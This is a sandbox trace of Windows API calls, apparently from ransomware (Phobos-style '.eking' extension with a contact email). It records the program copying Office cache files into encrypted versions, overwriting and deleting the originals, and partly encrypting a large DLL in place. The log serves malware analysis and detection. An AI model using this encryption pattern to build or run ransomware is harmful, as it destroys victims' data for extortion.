lpOverlapped=0x0) returned 1 [0252.513] FlushFileBuffers (hFile=0x1a8) returned 1 [0252.538] CloseHandle (hObject=0x1a8) returned 1 [0252.538] SetEvent (hEvent=0xe0) returned 1 [0252.538] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0252.539] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1377656) returned 1 [0252.539] CloseHandle (hObject=0x1a8) returned 1 [0252.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0252.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0252.539] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0252.539] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0252.539] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0252.539] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0252.539] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0252.540] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x110100, lpOverlapped=0x0) returned 1 [0252.573] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x110100, lpOverlapped=0x0) returned 1 [0253.167] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x40478, lpOverlapped=0x0) returned 1 [0253.170] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40480, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x40480, lpOverlapped=0x0) returned 1 [0253.176] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0253.176] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0253.176] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0253.176] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x110102, lpOverlapped=0x0) returned 1 [0253.184] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x40476, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x40476, lpOverlapped=0x0) returned 1 [0253.185] FlushFileBuffers (hFile=0x1a8) returned 1 [0253.800] FlushFileBuffers (hFile=0x1c0) returned 1 [0254.371] CloseHandle (hObject=0x1a8) returned 1 [0254.372] CloseHandle (hObject=0x1c0) returned 1 [0254.373] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0254.385] SetEvent (hEvent=0xe0) returned 1 [0254.385] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0254.387] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=16683) returned 1 [0254.387] CloseHandle (hObject=0x1c0) returned 1 [0254.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0254.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0254.387] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0254.387] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0254.387] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.387] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.387] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0254.389] ReadFile (in: hFile=0x1c0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x412b, lpOverlapped=0x0) returned 1 [0254.391] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x4130, lpOverlapped=0x0) returned 1 [0254.392] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.392] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.393] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.393] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x412b, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x412b, lpOverlapped=0x0) returned 1 [0254.393] FlushFileBuffers (hFile=0x1c0) returned 1 [0254.548] FlushFileBuffers (hFile=0x1a8) returned 1 [0254.558] CloseHandle (hObject=0x1c0) returned 1 [0254.559] CloseHandle (hObject=0x1a8) returned 1 [0254.559] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0254.561] SetEvent (hEvent=0xe0) returned 1 [0254.561] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0254.562] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=4274) returned 1 [0254.562] CloseHandle (hObject=0x1a8) returned 1 [0254.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0254.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0254.562] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0254.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0254.562] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.562] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.563] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0254.563] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x10b2, lpOverlapped=0x0) returned 1 [0254.566] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x10c0, lpOverlapped=0x0) returned 1 [0254.568] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0254.568] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.568] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.568] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x10b2, lpOverlapped=0x0) returned 1 [0254.568] FlushFileBuffers (hFile=0x1a8) returned 1 [0254.573] FlushFileBuffers (hFile=0x1c0) returned 1 [0254.578] CloseHandle (hObject=0x1a8) returned 1 [0254.579] CloseHandle (hObject=0x1c0) returned 1 [0254.579] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0254.582] SetEvent (hEvent=0xe0) returned 1 [0254.583] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0254.585] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=174440) returned 1 [0254.585] CloseHandle (hObject=0x1c0) returned 1 [0254.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0254.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0254.585] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0254.585] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0254.585] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.585] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0254.586] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1a8 [0254.586] ReadFile (in: hFile=0x1c0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x2a968, lpOverlapped=0x0) returned 1 [0254.593] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x2a970, lpOverlapped=0x0) returned 1 [0254.597] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xe2, lpOverlapped=0x0) returned 1 [0254.597] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.597] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0254.597] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x2a968, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x2a968, lpOverlapped=0x0) returned 1 [0254.598] FlushFileBuffers (hFile=0x1c0) returned 1 [0254.755] FlushFileBuffers (hFile=0x1a8) returned 1 [0255.275] CloseHandle (hObject=0x1c0) returned 1 [0255.275] CloseHandle (hObject=0x1a8) returned 1 [0255.276] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0255.277] SetEvent (hEvent=0xe0) returned 1 [0255.278] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0255.279] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=7378792) returned 1 [0255.279] CloseHandle (hObject=0x1a8) returned 1 [0255.279] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0255.279] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0255.280] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\osetup.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\osetup.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0255.280] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0255.280] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0255.280] ReadFile (in: hFile=0x1a8, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0255.283] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0255.283] ReadFile (in: hFile=0x1a8, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0255.289] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0255.289] ReadFile (in: hFile=0x1a8, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0255.310] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0255.310] WriteFile (in: hFile=0x1a8, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0255.560] SetEndOfFile (hFile=0x1a8) returned 1 [0255.560] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0255.560] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0255.562] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0255.562] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0255.564] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0255.564] WriteFile (in: hFile=0x1a8, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0255.566] FlushFileBuffers (hFile=0x1a8) returned 1 [0256.970] CloseHandle (hObject=0x1a8) returned 1 [0256.971] SetEvent (hEvent=0xe0) returned 1 [0256.972] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0256.972] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1463568) returned 1 [0256.972] CloseHandle (hObject=0x1a8) returned 1 [0256.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0256.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0256.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0256.973] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 